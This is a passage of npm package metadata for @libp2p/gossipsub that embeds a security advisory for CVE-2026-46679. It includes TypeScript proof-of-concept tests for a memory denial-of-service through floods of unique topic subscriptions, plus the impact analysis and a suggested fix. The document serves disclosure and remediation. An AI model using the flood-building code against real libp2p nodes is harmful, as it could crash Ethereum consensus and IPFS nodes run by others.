MB frame.\nconst UNIQUE_TOPICS_PER_RPC = 349_000\n\n// Build a protobuf-encoded RPC with N unique SUBSCRIBE entries.\n// Uses minimal 2-char topic strings (\"00\"..\"zz\") to maximise packing.\n// SubOpts(subscribe=true, topic=2chars): 2 + (2+2) = 6 bytes per entry.\n// Outer RPC field: tag+len ≈ 2 bytes -\u003e ~8 bytes total per subscription.\n// 4 MB / 8 bytes ≈ 524K subscriptions per frame.\nfunction buildSubscriptionFloodRpc (count: number): Uint8Array {\n  const subscriptions = Array.from({ length: count }, (_, i) =\u003e ({\n    subscribe: true,\n    // Sequential 6-char decimal topics: short but still unique\n    topic: i.toString().padStart(6, '0')\n  }))\n  return RPC.encode({ subscriptions, messages: [], control: undefined })\n}\n\n// Binary-search the exact number of unique 6-char topics that fit in 4 MB.\nfunction maxTopicsIn4MB (): number {\n  const MAX_LP_BYTES = 4 * 1024 * 1024\n  let lo = 1; let hi = 600_000\n  while (lo \u003c hi) {\n    const mid = (lo + hi + 1) \u003e\u003e 1\n    if (buildSubscriptionFloodRpc(mid).byteLength \u003c= MAX_LP_BYTES) {\n      lo = mid\n    } else {\n      hi = mid - 1\n    }\n  }\n  return lo\n}\n\ndescribe('PoC: Memory DoS via subscription flood of unique topics', function () {\n  this.timeout(60_000)\n\n  let victim: GossipSubAndComponents\n  let attacker: GossipSubAndComponents\n\n  beforeEach(async () =\u003e {\n    ;[victim, attacker] = await Promise.all([\n      createComponents({ init: { allowPublishToZeroTopicPeers: true } }),\n      createComponents({ init: { allowPublishToZeroTopicPeers: true } })\n    ])\n    await connectPubsubNodes(victim, attacker)\n  })\n\n  afterEach(async () =\u003e {\n    await stop(\n      victim.pubsub, attacker.pubsub,\n      ...Object.values(victim.components),\n      ...Object.values(attacker.components)\n    )\n  })\n\n  it('FLOOD: unique topic subscriptions accumulate unboundedly in this.topics', () =\u003e {\n    const victimPubsub = victim.pubsub as any\n    const attackerIdStr = attacker.components.peerId.toString()\n\n    const topicsBefore = victimPubsub.topics.size as number\n    const heapBefore = process.memoryUsage().heapUsed\n\n    // Simulate one round of subscription flood: inject UNIQUE_TOPICS_PER_RPC\n    // unique topics directly via handleReceivedSubscription (the exact function\n    // called synchronously from handleReceivedRpc for each decoded SubOpts entry).\n    const t0 = performance.now()\n    for (let i = 0; i \u003c UNIQUE_TOPICS_PER_RPC; i++) {\n      victimPubsub.handleReceivedSubscription(\n        { toString: () =\u003e attackerIdStr } as any,\n        `poc-sub-flood-${i.toString().padStart(6, '0')}`,\n        true\n      )\n    }\n    const elapsed = performance.now() - t0\n\n    const topicsAfter = victimPubsub.topics.size as number\n    const heapAfterBytes = process.memoryUsage().heapUsed\n    const heapGrowthMB = (heapAfterBytes - heapBefore) / (1024 * 1024)\n    const newTopics = topicsAfter - topicsBefore\n\n    console.log(`\\n[PoC] Unique topics injected: ${UNIQUE_TOPICS_PER_RPC.toLocaleString()}`)\n    console.log(`[PoC] this.topics.size: ${topicsBefore} -\u003e ${topicsAfter} (grew by ${newTopics.toLocaleString()})`)\n    console.log(`[PoC] Heap growth (approx): ${heapGrowthMB.toFixed(0)} MB`)\n    console.log(`[PoC] Time to process: ${elapsed.toFixed(0)} ms (event-loop blocked)`)\n    console.log(`[PoC] Amplification: ${(heapGrowthMB / 4).toFixed(1)}x (MB heap per MB of attacker traffic)`)\n\n    // All unique topics must be present in the map — no dedup for unique strings\n    assert.strictEqual(newTopics, UNIQUE_TOPICS_PER_RPC,\n      `expected this.topics to grow by ${UNIQUE_TOPICS_PER_RPC}, grew by ${newTopics}`)\n\n    // Must be non-trivial heap growth\n    assert.ok(heapGrowthMB \u003e 20,\n      `expected \u003e20 MB heap growth from ${UNIQUE_TOPICS_PER_RPC} unique topics, got ${heapGrowthMB.toFixed(0)} MB`)\n  })\n\n  it('PERSIST: empty Sets remain in this.topics after peer disconnect (no GC)', () =\u003e {\n    const victimPubsub = victim.pubsub as any\n    const attackerIdStr = attacker.components.peerId.toString()\n\n    // Flood with unique topics\n    for (let i = 0; i \u003c UNIQUE_TOPICS_PER_RPC; i++) {\n      victimPubsub.handleReceivedSubscription(\n        { toString: () =\u003e attackerIdStr } as any,\n        `poc-persist-${i.toString().padStart(6, '0')}`,\n        true\n      )\n    }\n\n    const topicsBeforeDisconnect = victimPubsub.topics.size as number\n\n    // Simulate peer disconnect, this removes the peer ID from each Set but\n    // does NOT delete empty Sets from this.topics.\n    const tDisconnect = performance.now()\n    victimPubsub.removePeer(attacker.components.peerId)\n    const disconnectMs = performance.now() - tDisconnect\n\n    const topicsAfterDisconnect = victimPubsub.topics.size as number\n\n    console.log(`\\n[PoC] this.topics.size before disconnect: ${topicsBeforeDisconnect.toLocaleString()}`)\n    console.log(`[PoC] this.topics.size after  disconnect: ${topicsAfterDisconnect.toLocaleString()}`)\n    console.log(`[PoC] removePeer() took: ${disconnectMs.toFixed(0)} ms (synchronous O(topics.size) scan)`)\n    console.log(`[PoC] Empty Sets retained: ${topicsAfterDisconnect.toLocaleString()} -\u003e memory not freed`)\n\n    // Topics Map is unchanged in SIZE — empty Sets persist\n    assert.strictEqual(topicsAfterDisconnect, topicsBeforeDisconnect,\n      `this.topics.size should be unchanged after disconnect (empty Sets persist); ` +\n      `was ${topicsBeforeDisconnect}, now ${topicsAfterDisconnect}`)\n\n    // removePeer O(N) scan should take non-trivial time with 349K entries\n    assert.ok(disconnectMs \u003e 5,\n      `expected removePeer to take \u003e5ms scanning ${topicsBeforeDisconnect} topics, got ${disconnectMs.toFixed(0)} ms`)\n\n    // Verify Sets are actually empty (peer removed from each)\n    let emptyCount = 0\n    for (const [, peers] of victimPubsub.topics) {\n      if ((peers as Set\u003cstring\u003e).size === 0) emptyCount++\n    }\n    assert.ok(emptyCount \u003e= UNIQUE_TOPICS_PER_RPC,\n      `expected ≥${UNIQUE_TOPICS_PER_RPC} empty Sets after disconnect, found ${emptyCount}`)\n  })\n\n  it('ENCODE: subscription flood RPC fits within 4 MB LP frame: confirms no LP-level protection', function () {\n    this.timeout(30_000)\n    const MAX_LP_BYTES = 4 * 1024 * 1024\n\n    // Find exact maximum with binary search\n    const maxCount = maxTopicsIn4MB()\n    const rpc = buildSubscriptionFloodRpc(maxCount)\n\n    const ampRatio = (maxCount * 260 / (1024 * 1024)) / 4\n\n    console.log(`\\n[PoC] Max subscriptions in 4 MB frame: ${maxCount.toLocaleString()}`)\n    console.log(`[PoC] Serialised RPC size:              ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB`)\n    console.log(`[PoC] LP frame limit:                   ${(MAX_LP_BYTES / (1024 * 1024)).toFixed(0)} MB`)\n    console.log(`[PoC] Fits in one frame:                ${rpc.byteLength \u003c= MAX_LP_BYTES ? 'YES ✓' : 'NO ✗'}`)\n    console.log(`[PoC] defaultDecodeRpcLimits.maxSubscriptions = Infinity (no decode-level cap)`)\n    console.log(`[PoC] Heap growth per 4 MB sent: ~${Math.round(maxCount * 260 / (1024 * 1024))} MB (${ampRatio.toFixed(1)}x amplification)`)\n\n    assert.ok(rpc.byteLength \u003c= MAX_LP_BYTES,\n      `crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default — confirms no LP-level protection`)\n    assert.ok(maxCount \u003e 100_000,\n      `expected \u003e100K subscriptions per 4 MB frame, got ${maxCount}`)\n  })\n})\n```\n\n### Impact\n- **Availability (memory)**: single peer, ~68MB bandwidth -\u003e OOM crash in ~5s at 100Mbps. Non-recoverable within process lifetime thus memory never freed even if attacker disconnects.\n- **Availability (CPU)**: 224ms event-loop block per 4MB subscription RPC (synchronous `forEach`); grows with accumulated attack state.\n- **No score mitigation**: subscription processing has no score check and no score penalty for flooding.\n- **Affected deployments**: any node running `@libp2p/gossipsub` with default options that accepts inbound connections: Lodestar (Ethereum consensus), IPFS pubsub, any `createLibp2p({ services: { pubsub: gossipsub() } })`.\n- **Partial mitigation only**: setting `opts.allowedTopics` caps growth to `allowedTopics.size` topics per attacker; does not fix the memory leak for allowed topics or the O(N) `removePeer` scan.\n\n### Suggested remediation\nDelete empty Sets on unsubscribe and disconnect:\n\n```typescript\n// handleReceivedSubscription\n} else {\n  topicSet.delete(from.toString())\n  if (topicSet.size === 0) this.topics.delete(topic)\n}\n\n// removePeer\nfor (const [topic, peers] of this.topics) {\n  peers.delete(id)\n  if (peers.size === 0) this.topics.delete(topic)\n}\n```\n\nClear `this.topics` in `stop()`:\n\n```typescript\nthis.topics.clear()\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-21T21:38:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/libp2p/js-libp2p/security/advisories/GHSA-4f8r-922h-2vgv","https://nvd.nist.gov/vuln/detail/CVE-2026-46679","https://github.com/advisories/GHSA-4f8r-922h-2vgv"],"source_kind":"github","identifiers":["GHSA-4f8r-922h-2vgv","CVE-2026-46679"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-21T22:00:08.306Z","updated_at":"2026-10-28T20:04:56.853Z","epss_percentage":0.00278,"epss_percentile":0.2001,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00ZjhyLTkyMmgtMnZnds4ABXO7","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00ZjhyLTkyMmgtMnZnds4ABXO7","packages":[{"ecosystem":"npm","package_name":"@libp2p/gossipsub","versions":[{"first_patched_version":"15.0.23","vulnerable_version_range":"\u003c= 15.0.22"}],"purl":"pkg:npm/%40libp2p%2Fgossipsub"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00ZjhyLTkyMmgtMnZnds4ABXO7/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/@libp2p/gossipsub","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/@libp2p/gossipsub","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/@libp2p/gossipsub/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-10-27T03:22:34.756Z","issues_count":878,"pull_requests_count":3326,"avg_time_to_close_issue":29645618.33952912,"avg_time_to_close_pull_request":1309154.2254964765,"issues_closed_count":807,"pull_requests_closed_count":3122,"pull_request_authors_count":230,"issue_authors_count":273,"avg_comments_per_issue":3.5182232346241458,"avg_comments_per_pull_request":1.215874924834636,"merged_pull_requests_count":2401,"bot_issues_count":9,"bot_pull_requests_count":666,"past_year_issues_count":43,"past_year_pull_requests_count":299,"past_year_avg_time_to_close_issue":1910664.551724138,"past_year_avg_time_to_close_pull_request":973739.05859375,"past_year_issues_closed_count":29,"past_year_pull_requests_closed_count":256,"past_year_pull_request_authors_count":37,"past_year_issue_authors_count":27,"past_year_avg_comments_per_issue":1.4651162790697674,"past_year_avg_comments_per_pull_request":0.9765886287625418,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":37,"past_year_merged_pull_requests_count":218,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/issues","maintainers":[{"login":"achingbrain","count":1490,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/achingbrain"},{"login":"vasco-santos","count":267,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/vasco-santos"},{"login":"tabcat","count":151,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tabcat"},{"login":"maschad","count":123,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/maschad"},{"login":"daviddias","count":93,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/daviddias"},{"login":"wemeetagain","count":65,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/wemeetagain"},{"login":"SgtPooki","count":59,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/SgtPooki"},{"login":"dozyio","count":49,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/dozyio"},{"login":"p-shahi","count":27,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/p-shahi"},{"login":"alanshaw","count":22,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/alanshaw"},{"login":"mkg20001","count":19,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mkg20001"},{"login":"MarcoPolo","count":15,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/MarcoPolo"},{"login":"mpetrunic","count":12,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mpetrunic"},{"login":"dryajov","count":11,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/dryajov"},{"login":"hugomrdias","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hugomrdias"},{"login":"dignifiedquire","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/dignifiedquire"},{"login":"victorb","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/victorb"},{"login":"galargh","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/galargh"},{"login":"RichardLitt","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/RichardLitt"},{"login":"hacdias","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hacdias"},{"login":"vigoo","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/vigoo"},{"login":"fsdiogo","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/fsdiogo"},{"login":"aschmahmann","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/aschmahmann"},{"login":"raulk","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/raulk"},{"login":"mxinden","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mxinden"},{"login":"Stebalien","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Stebalien"},{"login":"guillaumemichel","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/guillaumemichel"}],"active_maintainers":[{"login":"tabcat","count":132,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tabcat"},{"login":"dozyio","count":35,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/dozyio"},{"login":"achingbrain","count":33,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/achingbrain"},{"login":"wemeetagain","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/wemeetagain"},{"login":"SgtPooki","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/SgtPooki"},{"login":"vasco-santos","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/vasco-santos"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@libp2p%2Fgossipsub/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@libp2p%2Fgossipsub/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@libp2p%2Fgossipsub/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@libp2p%2Fgossipsub/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@libp2p%2Fgossipsub/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@libp2p%2Fgossipsub/codemeta","maintainers":[{"uuid":"achingbrain","login":"achingbrain","name":null,"email":"alex@achingbrain.net","url":null,"packages_count":535,"html_url":"https://www.npmjs.com/~achingbrain","role":null,"created_at":"2025-09-21T18:08:25.617Z","updated_at":"2025-09-21T18:08:25.617Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/achingbrain/packages"},{"uuid":"daviddias","login":"daviddias","name":null,"email":"mail@daviddias.me","url":null,"packages_count":324,"html_url":"https://www.npmjs.com/~daviddias","role":null,"created_at":"2025-09-21T18:08:25.709Z","updated_at":"2025-09-21T18:08:25.709Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/daviddias/packages"},{"uuid":"alanshaw","login":"alanshaw","name":null,"email":"alan138@gmail.com","url":null,"packages_count":451,"html_url":"https://www.npmjs.com/~alanshaw","role":null,"created_at":"2025-09-21T18:08:25.663Z","updated_at":"2025-09-21T18:08:25.663Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/alanshaw/packages"},{"uuid":"vascosantos","login":"vascosantos","name":null,"email":"santos.vasco10@gmail.com","url":null,"packages_count":246,"html_url":"https://www.npmjs.com/~vascosantos","role":null,"created_at":"2025-09-21T18:08:25.850Z","updated_at":"2025-09-21T18:08:25.850Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/vascosantos/packages"},{"uuid":"jacobheun","login":"jacobheun","name":null,"email":"jacobheun@gmail.com","url":null,"packages_count":159,"html_url":"https://www.npmjs.com/~jacobheun","role":null,"created_at":"2025-09-21T18:08:25.746Z","updated_at":"2025-09-21T18:08:25.746Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/jacobheun/packages"},{"uuid":"npm-service-account-libp2p","login":"npm-service-account-libp2p","name":null,"email":"npm-service-account+libp2p@protocol.ai","url":null,"packages_count":115,"html_url":"https://www.npmjs.com/~npm-service-account-libp2p","role":null,"created_at":"2025-09-21T18:08:25.806Z","updated_at":"2025-09-21T18:08:25.806Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/npm-service-account-libp2p/packages"}]}